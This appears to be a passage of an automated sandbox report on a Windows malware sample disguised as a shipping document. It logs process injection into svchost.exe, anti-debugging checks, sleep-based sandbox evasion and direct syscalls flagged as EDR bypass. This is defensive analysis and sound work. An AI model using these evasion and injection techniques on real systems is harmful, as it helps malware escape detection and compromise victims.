Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D8AC5 push ecx; ret	0_2_009D8AD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401AAD push 5BDF9A96h; iretd	2_2_00401ACA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402099 push esp; ret	2_2_0040209A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403390 push eax; ret	2_2_00403392
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404C75 push cs; iretd	2_2_00404C8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040847B push cs; retf	2_2_0040847E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404D15 pushad ; ret	2_2_00404D16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042D533 pushfd ; retf	2_2_0042D552
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404DBA push 6B6FB766h; ret	2_2_00404DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041277B push edi; iretd	2_2_0041278D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0089DFA1 push ecx; ret	2_2_0089DFB4
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05279579 push ecx; ret	3_2_052796BC
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0526FDA0 push cs; retf	3_2_0526FDA3
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0526C59A push cs; iretd	3_2_0526C5B0
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_052864C6 push ebx; ret	3_2_052864CC
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0526C63A pushad ; ret	3_2_0526C63B
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05280E34 push eax; retf	3_2_05280EAA
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05279670 push ecx; ret	3_2_052796BC
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_052796C1 push ecx; ret	3_2_052796BC
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0526C6DF push 6B6FB766h; ret	3_2_0526C6E4
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0527A0A0 push edi; iretd	3_2_0527A0B2

Source: C:\Windows\SysWOW64\AtBroker.exe

File created: C:\Users\user\AppData\Local\Temp\sqlite3.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009B4A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_009B4A35
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A353DF IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00A353DF

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009D3307 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_009D3307

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

API/Special instruction interceptor: Address: EA2C2C

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_008E0101 rdtsc

2_2_008E0101

Source: C:\Windows\SysWOW64\AtBroker.exe

Window / User API: threadDelayed 9810

Source: C:\Windows\SysWOW64\AtBroker.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sqlite3.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-101021

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

API coverage: 4.1 %

Source: C:\Windows\SysWOW64\AtBroker.exe TID: 3624	Thread sleep count: 149 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 3624	Thread sleep time: -298000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 3712	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 3624	Thread sleep count: 9810 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 3624	Thread sleep time: -19620000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe TID: 3656	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe TID: 3656	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe TID: 3656	Thread sleep time: -64500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe TID: 3656	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe TID: 3656	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\AtBroker.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1449B GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00A1449B
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1C7E8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00A1C7E8
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1C75D FindFirstFileW,FindClose,	0_2_00A1C75D
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1F021 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A1F021
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1F17E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A1F17E
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1F47F FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A1F47F
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A13833 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A13833
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A13B56 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A13B56
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1BD48 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A1BD48

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009B4AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_009B4AFE

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	API call chain: ExitProcess graph end node			graph_0-98911
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	API call chain: ExitProcess graph end node			graph_0-98980

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_008E0101 rdtsc

2_2_008E0101

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_008907AC NtCreateMutant,LdrInitializeThunk,

2_2_008907AC

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A2401F BlockInput,

0_2_00A2401F

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009B3B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_009B3B4C

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009E5BFC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_009E5BFC

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A2C104 LoadLibraryA,GetProcAddress,

0_2_00A2C104

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00EA1858 mov eax, dword ptr fs:[00000030h]	0_2_00EA1858
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00EA2EF8 mov eax, dword ptr fs:[00000030h]	0_2_00EA2EF8
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00EA2E98 mov eax, dword ptr fs:[00000030h]	0_2_00EA2E98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00880080 mov ecx, dword ptr fs:[00000030h]	2_2_00880080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008800EA mov eax, dword ptr fs:[00000030h]	2_2_008800EA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A26F8 mov eax, dword ptr fs:[00000030h]	2_2_008A26F8

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A081D4 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00A081D4

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009DA2A4 SetUnhandledExceptionFilter,		0_2_009DA2A4
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009DA2D5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_009DA2D5

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQueryInformationProcess: Direct from: 0x774CFAFA	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtCreateUserProcess: Direct from: 0x774D093E	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtCreateKey: Direct from: 0x774CFB62	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQuerySystemInformation: Direct from: 0x774D20DE	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQueryDirectoryFile: Direct from: 0x774CFDBA	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtClose: Direct from: 0x774CFA02
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtWriteVirtualMemory: Direct from: 0x774D213E	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtCreateFile: Direct from: 0x774D00D6	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtSetTimer: Direct from: 0x774D021A	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtOpenFile: Direct from: 0x774CFD86	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtSetInformationThread: Direct from: 0x774E9893	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtOpenKeyEx: Direct from: 0x774CFA4A	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtAllocateVirtualMemory: Direct from: 0x774CFAE2	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtResumeThread: Direct from: 0x774D008D	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtOpenKeyEx: Direct from: 0x774D103A	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtUnmapViewOfSection: Direct from: 0x774CFCA2	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtDelayExecution: Direct from: 0x774CFDA1	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtSetInformationProcess: Direct from: 0x774CFB4A	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtSetInformationThread: Direct from: 0x774CF9CE	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtReadFile: Direct from: 0x774CF915	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtMapViewOfSection: Direct from: 0x774CFC72	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtCreateThreadEx: Direct from: 0x774D08C6	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtDeviceIoControlFile: Direct from: 0x774CF931	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtRequestWaitReplyPort: Direct from: 0x753C6BCE	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQueryValueKey: Direct from: 0x774CFACA	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtOpenSection: Direct from: 0x774CFDEA	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtProtectVirtualMemory: Direct from: 0x774D005A	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtWriteVirtualMemory: Direct from: 0x774CFE36	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtRequestWaitReplyPort: Direct from: 0x756F8D92	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQueryVolumeInformationFile: Direct from: 0x774CFFAE	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtNotifyChangeKey: Direct from: 0x774D0F92	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQueryAttributesFile: Direct from: 0x774CFE7E	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtReadVirtualMemory: Direct from: 0x774CFEB2	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtSetTimer: Direct from: 0x774E98D5	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtSetInformationFile: Direct from: 0x774CFC5A	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	NtQuerySystemInformation: Direct from: 0x774CFDD2	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe protection: execute and read and write	Jump to behavior
